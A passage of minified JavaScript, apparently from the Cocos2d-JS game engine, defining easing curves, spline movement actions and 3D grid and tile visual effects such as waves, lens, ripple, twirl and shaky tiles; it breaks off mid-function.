- b.St.create=function(a,c){return new b.St(a,c)};b.RJ={Ra:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)+1},reverse:function(){return b.QJ}};b.q0=function(a){return a&&0.3!==a?{Cb:a,Ra:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-this.Cb/4)*Math.PI*2/this.Cb)+1},reverse:function(){return b.o0(this.Cb)}}:b.RJ};
- b.Rt=b.sn.extend({update:function(a){var c=0,c=this.Cb;if(0===a||1==a)c=a;else{c||(c=this.Cb=0.3*1.5);var d=c/4;a=2*a-1;c=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-d)*Math.PI*2/c):Math.pow(2,-10*a)*Math.sin((a-d)*Math.PI*2/c)*0.5+1}this.q.update(c)},reverse:function(){return new b.Rt(this.q.reverse(),this.Cb)},k:function(){var a=new b.Rt;a.$(this.q.k(),this.Cb);return a}});b.Rt.create=function(a,c){return new b.Rt(a,c)};
- b.p0=function(a){return{Cb:a||0.3,Ra:function(a){var d=0,d=this.Cb;if(0===a||1===a)d=a;else{d||(d=this.Cb=0.3*1.5);var e=d/4;a=2*a-1;d=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-e)*Math.PI*2/d):Math.pow(2,-10*a)*Math.sin((a-e)*Math.PI*2/d)*0.5+1}return d},reverse:function(){return b.p0(this.Cb)}}};
- b.xl=b.Na.extend({Yw:function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375},k:function(){var a=new b.xl;a.$(this.q.k());return a},reverse:function(){return new b.xl(this.q.reverse())}});b.xl.create=function(a){return new b.xl(a)};
- b.Nt=b.xl.extend({update:function(a){this.q.update(1-this.Yw(1-a))},reverse:function(){return new b.Pt(this.q.reverse())},k:function(){var a=new b.Nt;a.$(this.q.k());return a}});b.Nt.create=function(a){return new b.Nt(a)};b.Wu=function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375};b.HJ={Ra:function(a){return 1-b.Wu(1-a)},reverse:function(){return b.JJ}};b.bba=function(){return b.HJ};
- b.Pt=b.xl.extend({update:function(a){this.q.update(this.Yw(a))},reverse:function(){return new b.Nt(this.q.reverse())},k:function(){var a=new b.Pt;a.$(this.q.k());return a}});b.Pt.create=function(a){return new b.Pt(a)};b.JJ={Ra:function(a){return b.Wu(a)},reverse:function(){return b.HJ}};b.dba=function(){return b.JJ};b.Ot=b.xl.extend({update:function(a){var c=0,c=0.5>a?0.5*(1-this.Yw(1-2*a)):0.5*this.Yw(2*a-1)+0.5;this.q.update(c)},k:function(){var a=new b.Ot;a.$(this.q.k());return a},reverse:function(){return new b.Ot(this.q.reverse())}});
- b.Ot.create=function(a){return new b.Ot(a)};b.IJ={Ra:function(a){return a=0.5>a?0.5*(1-b.Wu(1-2*a)):0.5*b.Wu(2*a-1)+0.5},reverse:function(){return b.IJ}};b.cba=function(){return b.IJ};b.Kt=b.Na.extend({update:function(a){this.q.update(0===a||1==a?a:a*a*(2.70158*a-1.70158))},reverse:function(){return new b.Mt(this.q.reverse())},k:function(){var a=new b.Kt;a.$(this.q.k());return a}});b.Kt.create=function(a){return new b.Kt(a)};b.EJ={Ra:function(a){return 0===a||1===a?a:a*a*(2.70158*a-1.70158)},reverse:function(){return b.GJ}};
- b.Zaa=function(){return b.EJ};b.Mt=b.Na.extend({update:function(a){a-=1;this.q.update(a*a*(2.70158*a+1.70158)+1)},reverse:function(){return new b.Kt(this.q.reverse())},k:function(){var a=new b.Mt;a.$(this.q.k());return a}});b.Mt.create=function(a){return new b.Mt(a)};b.GJ={Ra:function(a){a-=1;return a*a*(2.70158*a+1.70158)+1},reverse:function(){return b.EJ}};b.aba=function(){return b.GJ};
- b.Lt=b.Na.extend({update:function(a){a*=2;1>a?this.q.update(a*a*(3.5949095*a-2.5949095)/2):(a-=2,this.q.update(a*a*(3.5949095*a+2.5949095)/2+1))},k:function(){var a=new b.Lt;a.$(this.q.k());return a},reverse:function(){return new b.Lt(this.q.reverse())}});b.Lt.create=function(a){return new b.Lt(a)};b.FJ={Ra:function(a){a*=2;if(1>a)return a*a*(3.5949095*a-2.5949095)/2;a-=2;return a*a*(3.5949095*a+2.5949095)/2+1},reverse:function(){return b.FJ}};b.$aa=function(){return b.FJ};
- b.eq=b.Na.extend({Wv:null,Xv:null,Yv:null,Zv:null,ctor:function(a){b.Na.prototype.ctor.call(this,a)},na:function(a,c,d,e,f){return Math.pow(1-f,3)*a+3*f*Math.pow(1-f,2)*c+3*Math.pow(f,2)*(1-f)*d+Math.pow(f,3)*e},update:function(a){this.q.update(this.na(this.Wv,this.Xv,this.Yv,this.Zv,a))},k:function(){var a=new b.eq;a.$(this.q.k());a.EP(this.Wv,this.Xv,this.Yv,this.Zv);return a},reverse:function(){var a=new b.eq(this.q.reverse());a.EP(this.Zv,this.Yv,this.Xv,this.Wv);return a},EP:function(a,c,d,e){this.Wv=
- a||0;this.Xv=c||0;this.Yv=d||0;this.Zv=e||0}});b.eq.create=function(a){return new b.eq(a)};b.n0=function(a,c,d,e){return{Ra:function(f){return b.eq.prototype.na(a,c,d,e,f)},reverse:function(){return b.n0(e,d,c,a)}}};b.lq=b.Na.extend({na:function(a){return Math.pow(a,2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.lq;a.$(this.q.k());return a},reverse:function(){return new b.lq(this.q.reverse())}});b.lq.create=function(a){return new b.lq(a)};b.VJ={Ra:b.lq.prototype.na,reverse:function(){return b.VJ}};
- b.nba=function(){return b.VJ};b.nq=b.Na.extend({na:function(a){return-a*(a-2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.nq;a.$();return a},reverse:function(){return new b.nq(this.q.reverse())}});b.nq.create=function(a){return new b.nq(a)};b.XJ={Ra:b.nq.prototype.na,reverse:function(){return b.XJ}};b.pba=function(){return b.XJ};
- b.mq=b.Na.extend({na:function(a){var c=a;a*=2;1>a?c=a*a*0.5:(--a,c=-0.5*(a*(a-2)-1));return c},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.mq;a.$(this.q.k());return a},reverse:function(){return new b.mq(this.q.reverse())}});b.mq.create=function(a){return new b.mq(a)};b.WJ={Ra:b.mq.prototype.na,reverse:function(){return b.WJ}};b.oba=function(){return b.WJ};
- b.oq=b.Na.extend({na:function(a){return a*a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.oq;a.$(this.q.k());return a},reverse:function(){return new b.oq(this.q.reverse())}});b.oq.create=function(a){return new b.oq(a)};b.YJ={Ra:b.oq.prototype.na,reverse:function(){return b.YJ}};b.qba=function(){return b.YJ};b.qq=b.Na.extend({na:function(a){a-=1;return-(a*a*a*a-1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.qq;a.$(this.q.k());return a},reverse:function(){return new b.qq(this.q.reverse())}});
- b.qq.create=function(a){return new b.qq(a)};b.$J={Ra:b.qq.prototype.na,reverse:function(){return b.$J}};b.sba=function(){return b.$J};b.pq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a*a;a-=2;return-0.5*(a*a*a*a-2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.pq;a.$(this.q.k());return a},reverse:function(){return new b.pq(this.q.reverse())}});b.pq.create=function(a){return new b.pq(a)};b.ZJ={Ra:b.pq.prototype.na,reverse:function(){return b.ZJ}};b.rba=function(){return b.ZJ};
- b.rq=b.Na.extend({na:function(a){return a*a*a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.rq;a.$(this.q.k());return a},reverse:function(){return new b.rq(this.q.reverse())}});b.rq.create=function(a){return new b.rq(a)};b.aK={Ra:b.rq.prototype.na,reverse:function(){return b.aK}};b.tba=function(){return b.aK};b.tq=b.Na.extend({na:function(a){a-=1;return a*a*a*a*a+1},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.tq;a.$(this.q.k());return a},reverse:function(){return new b.tq(this.q.reverse())}});
- b.tq.create=function(a){return new b.tq(a)};b.cK={Ra:b.tq.prototype.na,reverse:function(){return b.cK}};b.vba=function(){return b.cK};b.sq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a*a*a;a-=2;return 0.5*(a*a*a*a*a+2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.sq;a.$(this.q.k());return a},reverse:function(){return new b.sq(this.q.reverse())}});b.sq.create=function(a){return new b.sq(a)};b.bK={Ra:b.sq.prototype.na,reverse:function(){return b.bK}};b.uba=function(){return b.bK};
- b.fq=b.Na.extend({na:function(a){return-1*(Math.sqrt(1-a*a)-1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.fq;a.$(this.q.k());return a},reverse:function(){return new b.fq(this.q.reverse())}});b.fq.create=function(a){return new b.fq(a)};b.KJ={Ra:b.fq.prototype.na,reverse:function(){return b.KJ}};b.eba=function(){return b.KJ};
- b.hq=b.Na.extend({na:function(a){a-=1;return Math.sqrt(1-a*a)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.hq;a.$(this.q.k());return a},reverse:function(){return new b.hq(this.q.reverse())}});b.hq.create=function(a){return new b.hq(a)};b.MJ={Ra:b.hq.prototype.na,reverse:function(){return b.MJ}};b.gba=function(){return b.MJ};
- b.gq=b.Na.extend({na:function(a){a*=2;if(1>a)return-0.5*(Math.sqrt(1-a*a)-1);a-=2;return 0.5*(Math.sqrt(1-a*a)+1)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.gq;a.$(this.q.k());return a},reverse:function(){return new b.gq(this.q.reverse())}});b.gq.create=function(a){return new b.gq(a)};b.LJ={Ra:b.gq.prototype.na,reverse:function(){return b.LJ}};b.fba=function(){return b.LJ};
- b.iq=b.Na.extend({na:function(a){return a*a*a},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.iq;a.$(this.q.k());return a},reverse:function(){return new b.iq(this.q.reverse())}});b.iq.create=function(a){return new b.iq(a)};b.NJ={Ra:b.iq.prototype.na,reverse:function(){return b.NJ}};b.hba=function(){return b.NJ};b.kq=b.Na.extend({na:function(a){a-=1;return a*a*a+1},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.kq;a.$(this.q.k());return a},reverse:function(){return new b.kq(this.q.reverse())}});
- b.kq.create=function(a){return new b.kq(a)};b.PJ={Ra:b.kq.prototype.na,reverse:function(){return b.PJ}};b.jba=function(){return b.PJ};b.jq=b.Na.extend({na:function(a){a*=2;if(1>a)return 0.5*a*a*a;a-=2;return 0.5*(a*a*a+2)},update:function(a){this.q.update(this.na(a))},k:function(){var a=new b.jq;a.$(this.q.k());return a},reverse:function(){return new b.jq(this.q.reverse())}});b.jq.create=function(a){return new b.jq(a)};b.OJ={Ra:b.jq.prototype.na,reverse:function(){return b.OJ}};b.iba=function(){return b.OJ};b.tE=function(a,c,d,e,f,g){var h=g*g,k=h*g,m=(1-f)/2;f=m*(-k+2*h-g);var p=m*(-k+h)+(2*k-3*h+1);g=m*(k-2*h+g)+(-2*k+3*h);h=m*(k-h);return b.d(a.x*f+c.x*p+d.x*g+e.x*h,a.y*f+c.y*p+d.y*g+e.y*h)};b.wP=function(a){for(var c=[],d=a.length-1;0<=d;d--)c.push(b.d(a[d].x,a[d].y));return c};b.P_=function(a){for(var c=[],d=0;d<a.length;d++)c.push(b.d(a[d].x,a[d].y));return c};b.dx=b.P_;b.dd=function(a,c){var d=Math.min(a.length-1,Math.max(c,0));return a[d]};
- b.eja=function(a){for(var c=a.length,d=0|c/2,e=0;e<d;++e){var f=a[e];a[e]=a[c-e-1];a[c-e-1]=f}};
- b.Si=b.v.extend({mh:null,zJ:0,Mo:0,Oc:null,gJ:null,ctor:function(a,c,d){b.v.prototype.ctor.call(this);this.mh=[];void 0!==d&&this.e(a,c,d)},e:function(a,c,d){if(!c||0==c.length)throw"Invalid configuration. It must at least have one control point";return b.v.prototype.e.call(this,a)?(this.u5(c),this.Mo=d,!0):!1},k:function(){var a=new b.Si;a.e(this.p,b.dx(this.mh),this.Mo);return a},A:function(a){b.v.prototype.A.call(this,a);this.zJ=1/(this.mh.length-1);this.Oc=b.d(this.target.Le(),this.target.Jg());
- this.gJ=b.d(0,0)},update:function(a){a=this.gd(a);var c,d=this.mh;if(1==a)c=d.length-1,a=1;else{var e=this.zJ;c=0|a/e;a=(a-e*c)/e}c=b.tE(b.dd(d,c-1),b.dd(d,c-0),b.dd(d,c+1),b.dd(d,c+2),this.Mo,a);b.Ht&&(d=this.target.Le()-this.Oc.x,a=this.target.Jg()-this.Oc.y,0!=d||0!=a)&&(e=this.gJ,d=e.x+d,a=e.y+a,e.x=d,e.y=a,c.x+=d,c.y+=a);this.DQ(c)},reverse:function(){var a=b.wP(this.mh);return b.NM(this.p,a,this.Mo)},DQ:function(a){this.target.T(a);this.Oc=a},zda:function(){return this.mh},u5:function(a){this.mh=
- a}});b.NM=function(a,c,d){return new b.Si(a,c,d)};b.Si.create=b.NM;
- b.cq=b.Si.extend({Bc:null,ctor:function(a,c,d){b.Si.prototype.ctor.call(this);this.Bc=b.d(0,0);void 0!==d&&this.e(a,c,d)},A:function(a){b.Si.prototype.A.call(this,a);this.Bc.x=a.Le();this.Bc.y=a.Jg()},reverse:function(){for(var a=this.mh.slice(),c,d=a[0],e=1;e<a.length;++e)c=a[e],a[e]=b.Ed(c,d),d=c;a=b.wP(a);d=a[a.length-1];a.pop();d.x=-d.x;d.y=-d.y;a.unshift(d);for(e=1;e<a.length;++e)c=a[e],c.x=-c.x,c.y=-c.y,c.x+=d.x,c.y+=d.y,d=a[e]=c;return b.MM(this.p,a,this.Mo)},DQ:function(a){var c=this.Bc,d=
- a.x+c.x;a=a.y+c.y;this.Oc.x=d;this.Oc.y=a;this.target.T(d,a)},k:function(){var a=new b.cq;a.e(this.p,b.dx(this.mh),this.Mo);return a}});b.MM=function(a,c,d){return new b.cq(a,c,d)};b.cq.create=b.MM;b.hz=b.Si.extend({ctor:function(a,c){c&&this.e(a,c)},e:function(a,c){return b.Si.prototype.e.call(this,a,c,0.5)},k:function(){var a=new b.hz;a.e(this.p,b.dx(this.mh));return a}});b.H_=function(a,c){return new b.hz(a,c)};b.hz.create=b.H_;
- b.gz=b.cq.extend({ctor:function(a,c){b.cq.prototype.ctor.call(this);c&&this.e(a,c)},e:function(a,c){return b.Si.prototype.e.call(this,a,c,0.5)},k:function(){var a=new b.gz;a.e(this.p,b.dx(this.mh));return a}});b.G_=function(a,c){return new b.gz(a,c)};b.gz.create=b.G_;b.o7=b.oa.extend({N6:function(){}});
- b.Dt=b.v.extend({key:"",hx:0,Sy:0,Cs:0,ctor:function(a,c,d,e){b.v.prototype.ctor.call(this);this.key="";void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.v.prototype.e.call(this,a)?(this.key=c,this.Sy=e,this.hx=d,!0):!1},A:function(a){if(!a||!a.N6)throw"cc.ActionTween.startWithTarget(): target must be non-null, and target must implement updateTweenAction function";b.v.prototype.A.call(this,a);this.Cs=this.Sy-this.hx},update:function(){},reverse:function(){return new b.Dt(this.duration,this.key,
- this.Sy,this.hx)},k:function(){var a=new b.Dt;a.e(this.p,this.key,this.hx,this.Sy);return a}});b.WZ=function(a,c,d,e){return new b.Dt(a,c,d,e)};b.Dt.create=b.WZ;b.ec=b.v.extend({Y:null,ctor:function(a,c){b.nB();b.v.prototype.ctor.call(this);this.Y=b.size(0,0);c&&this.e(a,c)},k:function(){var a=new b.ec,c=this.Y;a.e(this.p,b.size(c.width,c.height));return a},A:function(a){b.v.prototype.A.call(this,a);var c=this.Hs(),d=this.target;(a=d.grid)&&0<a.oi?(c=a.k1(),a.nf()&&c.width==this.Y.width&&c.height==this.Y.height&&a.aG()):(a&&a.nf()&&a.setActive(!1),d.grid=c,d.grid.setActive(!0))},reverse:function(){return new b.Eq(this)},e:function(a,c){return b.v.prototype.e.call(this,
- a)?(this.Y.width=c.width,this.Y.height=c.height,!0):!1},Hs:function(){b.log("cc.GridAction.getGrid(): it should be overridden in subclass.")}});b.l2=function(a,c){return new b.ec(a,c)};b.ec.create=b.l2;b.Tc=b.ec.extend({Hs:function(){return new b.wz(this.Y)},HQ:function(a){return this.target.grid.HQ(a)},Gc:function(a){return this.target.grid.Gc(a)},Gd:function(a,c){this.target.grid.Gd(a,c)}});b.k2=function(a,c){return new b.Tc(a,c)};b.Tc.create=b.k2;
- b.rc=b.ec.extend({qQ:function(a){return this.target.grid.qQ(a)},Wf:function(a){return this.target.grid.Wf(a)},Qe:function(a,c){this.target.grid.Qe(a,c)},Hs:function(){return new b.yA(this.Y)}});b.B6=function(a,c){return new b.rc(a,c)};b.rc.create=b.B6;b.vu=b.se.extend({A:function(a){b.se.prototype.A.call(this,a);(a=this.target.grid)&&a.nf()&&a.setActive(!1)}});b.Py=function(){return new b.vu};b.vu.create=b.Py;
- b.SH=b.se.extend({Xb:null,ctor:function(a){b.se.prototype.ctor.call(this);void 0!==a&&this.A2(a)},A2:function(a){this.Xb=a;return!0},A:function(a){b.se.prototype.A.call(this,a);this.target.grid&&this.target.grid.nf()&&this.target.grid.y5(this.target.grid.oi+this.Xb)}});b.I4=function(a){return new b.SH(a)};b.SH.create=b.I4;b.YI=b.Tc.extend({jf:0,Za:0,$a:0,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e){return b.Tc.prototype.e.call(this,a,c)?(this.jf=d,this.Za=e,this.$a=1,!0):!1},update:function(a){for(var c=this.Y,d=this.Za,e=b.d(0,0),f=this.$a,g=this.jf,h=0;h<c.width+1;++h)for(var k=0;k<c.height+1;++k){e.x=h;e.y=k;var m=this.Gc(e);m.z+=Math.sin(Math.PI*
- a*g*2+0.01*(m.y+m.x))*d*f;this.Gd(e,m)}}});b.T6=function(a,c,d,e){return new b.YI(a,c,d,e)};b.YI.create=b.T6;
- b.uz=b.Tc.extend({ctor:function(a){void 0!==a?b.ec.prototype.ctor.call(this,a,b.size(1,1)):b.ec.prototype.ctor.call(this)},e:function(a){return b.Tc.prototype.e.call(this,a,b.size(1,1))},Hx:function(a,c){return 1!=a.width||1!=a.height?(b.log("Grid size must be (1,1)"),!1):b.Tc.prototype.e.call(this,c,a)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new N,e=b.d(0,0);e.x=e.y=1;var f=this.Gc(e);e.x=e.y=0;var e=this.Gc(e),g=f.x,h=e.x,k,m;g>h?(f=b.d(0,0),e=b.d(0,1),k=b.d(1,0),
- m=b.d(1,1)):(k=b.d(0,0),m=b.d(0,1),f=b.d(1,0),e=b.d(1,1),g=h);c.x=g-g*d;c.z=Math.abs(parseFloat(g*a/4));a=this.Gc(f);a.x=c.x;a.z+=c.z;this.Gd(f,a);a=this.Gc(e);a.x=c.x;a.z+=c.z;this.Gd(e,a);a=this.Gc(k);a.x-=c.x;a.z-=c.z;this.Gd(k,a);a=this.Gc(m);a.x-=c.x;a.z-=c.z;this.Gd(m,a)}});b.K0=function(a){return new b.uz(a)};b.uz.create=b.K0;
- b.kH=b.uz.extend({ctor:function(a){void 0!==a?b.ec.prototype.ctor.call(this,a,b.size(1,1)):b.ec.prototype.ctor.call(this)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new N,e=b.d(0,0);e.x=e.y=1;var f=this.Gc(e);e.x=e.y=0;var e=this.Gc(e),g=f.y,h=e.y,k,m;g>h?(f=b.d(0,0),e=b.d(0,1),k=b.d(1,0),m=b.d(1,1)):(e=b.d(0,0),f=b.d(0,1),m=b.d(1,0),k=b.d(1,1),g=h);c.y=g-g*d;c.z=Math.abs(parseFloat(g*a)/4);a=this.Gc(f);a.y=c.y;a.z+=c.z;this.Gd(f,a);a=this.Gc(e);a.y-=c.y;a.z-=c.z;this.Gd(e,
- a);a=this.Gc(k);a.y=c.y;a.z+=c.z;this.Gd(k,a);a=this.Gc(m);a.y-=c.y;a.z-=c.z;this.Gd(m,a)}});b.M0=function(a){return new b.kH(a)};b.kH.create=b.M0;
- b.pH=b.Tc.extend({xa:null,De:0,Lv:0,hW:!1,hb:!1,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);this.xa=b.d(0,0);void 0!==e&&this.e(a,c,d,e)},bda:function(){return this.Lv},gka:function(a){this.Lv=a},Eja:function(a){this.hW=a},nx:function(){return this.xa},T:function(a){b.SF(a,this.xa)||(this.xa.x=a.x,this.xa.y=a.y,this.hb=!0)},e:function(a,c,d,e){return b.Tc.prototype.e.call(this,a,c)?(this.T(d),this.De=e,this.Lv=0.7,this.hb=!0):!1},update:function(){if(this.hb){for(var a=this.Y.width,c=this.Y.height,
- d=this.De,e=this.Lv,f=b.d(0,0),g=b.d(0,0),h,k,m,p=0;p<a+1;++p)for(var q=0;q<c+1;++q)f.x=p,f.y=q,h=this.Gc(f),g.x=this.xa.x-h.x,g.y=this.xa.y-h.y,k=b.kl(g),k<d&&(k=d-k,k/=d,0==k&&(k=0.001),k=Math.log(k)*e,m=Math.exp(k)*d,k=b.kl(g),0<k&&(g.x/=k,g.y/=k,g.x*=m,g.y*=m,h.z+=b.kl(g)*e)),this.Gd(f,h);this.hb=!1}}});b.w3=function(a,c,d,e){return new b.pH(a,c,d,e)};b.pH.create=b.w3;
- b.TH=b.Tc.extend({xa:null,De:0,jf:0,Za:0,$a:0,ctor:function(a,c,d,e,f,g){b.ec.prototype.ctor.call(this);this.xa=b.d(0,0);void 0!==g&&this.e(a,c,d,e,f,g)},nx:function(){return this.xa},T:function(a){this.xa.x=a.x;this.xa.y=a.y},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e,f,g){return b.Tc.prototype.e.call(this,a,c)?(this.T(d),this.De=e,this.jf=f,this.Za=g,this.$a=1,!0):!1},update:function(a){for(var c=this.Y.width,
- d=this.Y.height,e=b.d(0,0),f=this.De,g=this.jf,h=this.Za,k=this.$a,m,p,q=b.d(0,0),r=0;r<c+1;++r)for(var t=0;t<d+1;++t)e.x=r,e.y=t,m=this.Gc(e),q.x=this.xa.x-m.x,q.y=this.xa.y-m.y,p=b.kl(q),p<f&&(p=f-p,m.z+=Math.sin(a*Math.PI*g*2+0.1*p)*h*k*Math.pow(p/f,2)),this.Gd(e,m)}});b.J4=function(a,c,d,e,f,g){return new b.TH(a,c,d,e,f,g)};b.TH.create=b.J4;
- b.XH=b.Tc.extend({Kk:0,Zr:!1,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.Tc.prototype.e.call(this,a,c)?(this.Kk=d,this.Zr=e,!0):!1},update:function(){for(var a=this.Y.width,c=this.Y.height,d=this.Kk,e=this.Zr,f=b.d(0,0),g,h=0;h<a+1;++h)for(var k=0;k<c+1;++k)f.x=h,f.y=k,g=this.Gc(f),g.x+=b.yb()%(2*d)-d,g.y+=b.yb()%(2*d)-d,e&&(g.z+=b.yb()%(2*d)-d),this.Gd(f,g)}});b.T5=function(a,c,d,e){return new b.XH(a,c,d,e)};b.XH.create=b.T5;
- b.qH=b.Tc.extend({jf:0,Za:0,$a:0,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e){return b.Tc.prototype.e.call(this,a,c)?(this.jf=d,this.Za=e,this.$a=1,!0):!1},update:function(a){for(var c=this.Y.width,d=this.Y.height,e=b.d(0,0),f=this.jf,g=this.Za,h=this.$a,k,m=1;m<c;++m)for(var p=1;p<d;++p)e.x=m,e.y=p,k=this.Gc(e),k.x+=Math.sin(a*Math.PI*
- f*2+0.01*k.x)*g*h,k.y+=Math.sin(a*Math.PI*f*2+0.01*k.y)*g*h,this.Gd(e,k)}});b.x3=function(a,c,d,e){return new b.qH(a,c,d,e)};b.qH.create=b.x3;
- b.XI=b.Tc.extend({jf:0,Za:0,$a:0,uM:!1,GK:!1,ctor:function(a,c,d,e,f,g){b.ec.prototype.ctor.call(this);void 0!==g&&this.e(a,c,d,e,f,g)},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e,f,g){return b.Tc.prototype.e.call(this,a,c)?(this.jf=d,this.Za=e,this.$a=1,this.GK=f,this.uM=g,!0):!1},update:function(a){for(var c=this.Y.width,d=this.Y.height,e=b.d(0,0),f=this.uM,g=this.GK,h=this.jf,k=this.Za,m=this.$a,p,q=0;q<c+1;++q)for(var r=
- 0;r<d+1;++r)e.x=q,e.y=r,p=this.Gc(e),f&&(p.x+=Math.sin(a*Math.PI*h*2+0.01*p.y)*k*m),g&&(p.y+=Math.sin(a*Math.PI*h*2+0.01*p.x)*k*m),this.Gd(e,p)}});b.S6=function(a,c,d,e,f,g){return new b.XI(a,c,d,e,f,g)};b.XI.create=b.S6;
- b.QI=b.Tc.extend({xa:null,iM:0,Za:0,$a:0,ctor:function(a,c,d,e,f){b.ec.prototype.ctor.call(this);this.xa=b.d(0,0);void 0!==f&&this.e(a,c,d,e,f)},nx:function(){return this.xa},T:function(a){this.xa.x=a.x;this.xa.y=a.y},lp:function(){return this.Za},Np:function(a){this.Za=a},Sm:function(){return this.$a},en:function(a){this.$a=a},e:function(a,c,d,e,f){return b.Tc.prototype.e.call(this,a,c)?(this.T(d),this.iM=e,this.Za=f,this.$a=1,!0):!1},update:function(a){for(var c=this.xa,d=this.Y.width,e=this.Y.height,
- f=b.d(0,0),g=0.1*this.Za*this.$a,h=this.iM,k,m,p,q=b.d(0,0),r=0;r<d+1;++r)for(var t=0;t<e+1;++t)f.x=r,f.y=t,k=this.Gc(f),q.x=r-d/2,q.y=t-e/2,m=b.kl(q)*Math.cos(Math.PI/2+a*Math.PI*h*2)*g,p=Math.sin(m)*(k.y-c.y)+Math.cos(m)*(k.x-c.x),m=Math.cos(m)*(k.y-c.y)-Math.sin(m)*(k.x-c.x),k.x=c.x+p,k.y=c.y+m,this.Gd(f,k)}});b.G6=function(a,c,d,e,f){return new b.QI(a,c,d,e,f)};b.QI.create=b.G6;b.YH=b.rc.extend({Kk:0,Zr:!1,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.rc.prototype.e.call(this,a,c)?(this.Kk=d,this.Zr=e,!0):!1},update:function(){for(var a=this.Y,c=this.Kk,d=b.d(0,0),e=0;e<a.width;++e)for(var f=0;f<a.height;++f){d.x=e;d.y=f;var g=this.Wf(d);g.F.x+=b.yb()%(2*c)-c;g.O.x+=b.yb()%(2*c)-c;g.N.x+=b.yb()%(2*c)-c;g.L.x+=b.yb()%(2*c)-c;g.F.y+=b.yb()%(2*c)-c;g.O.y+=b.yb()%(2*c)-c;g.N.y+=b.yb()%(2*c)-c;g.L.y+=b.yb()%(2*
- c)-c;this.Zr&&(g.F.z+=b.yb()%(2*c)-c,g.O.z+=b.yb()%(2*c)-c,g.N.z+=b.yb()%(2*c)-c,g.L.z+=b.yb()%(2*c)-c);this.Qe(d,g)}}});b.U5=function(a,c,d,e){return new b.YH(a,c,d,e)};b.YH.create=b.U5;
- b.ZH=b.rc.extend({Kk:0,sC:!1,ZL:!1,ctor:function(a,c,d,e){b.ec.prototype.ctor.call(this);void 0!==e&&this.e(a,c,d,e)},e:function(a,c,d,e){return b.rc.prototype.e.call(this,a,c)?(this.sC=!1,this.Kk=d,this.ZL=e,!0):!1},update:function(){if(!1===this.sC){for(var a=this.Y,c=this.Kk,d,e=b.d(0,0),f=0;f<a.width;++f)for(var g=0;g<a.height;++g)e.x=f,e.y=g,d=this.Wf(e),d.F.x+=b.yb()%(2*c)-c,d.O.x+=b.yb()%(2*c)-c,d.N.x+=b.yb()%(2*c)-c,d.L.x+=b.yb()%(2*c)-c,d.F.y+=b.yb()%(2*c)-c,d.O.y+=b.yb()%(2*c)-c,d.N.y+=
- b.yb()%(2*c)-c,d.L.y+=b.yb()%(2*c)-c,this.ZL&&(d.F.z+=b.yb()%(2*c)-c,d.O.z+=b.yb()%(2*c)-c,d.N.z+=b.yb()%(2*c)-c,d.L.z+=b.yb()%(2*c)-c),this.Qe(e,d);this.sC=!0}}});b.V5=function(a,c,d,e){return new b.ZH(a,c,d,e)};b.ZH.create=b.V5;function ia(){this.position=b.d(0,0);this.j6=b.d(0,0);this.Cs=b.d(0,0)}
- b.$H=b.rc.extend({$C:0,wj:0,ui:null,Ge:null,ctor:function(a,c,d){b.ec.prototype.ctor.call(this);this.ui=[];this.Ge=[];void 0!==d&&this.e(a,c,d)},e:function(a,c,d){return b.rc.prototype.e.call(this,a,c)?(this.$C=d,this.ui.length=0,this.Ge.length=0,!0):!1},CG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.yb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},UE:function(a){var c=this.Y,d=a.width*c.height+a.height;return b.size(this.ui[d]/c.height-a.width,this.ui[d]%c.height-a.height)},c4:function(a,c){var d=this.Wf(a),
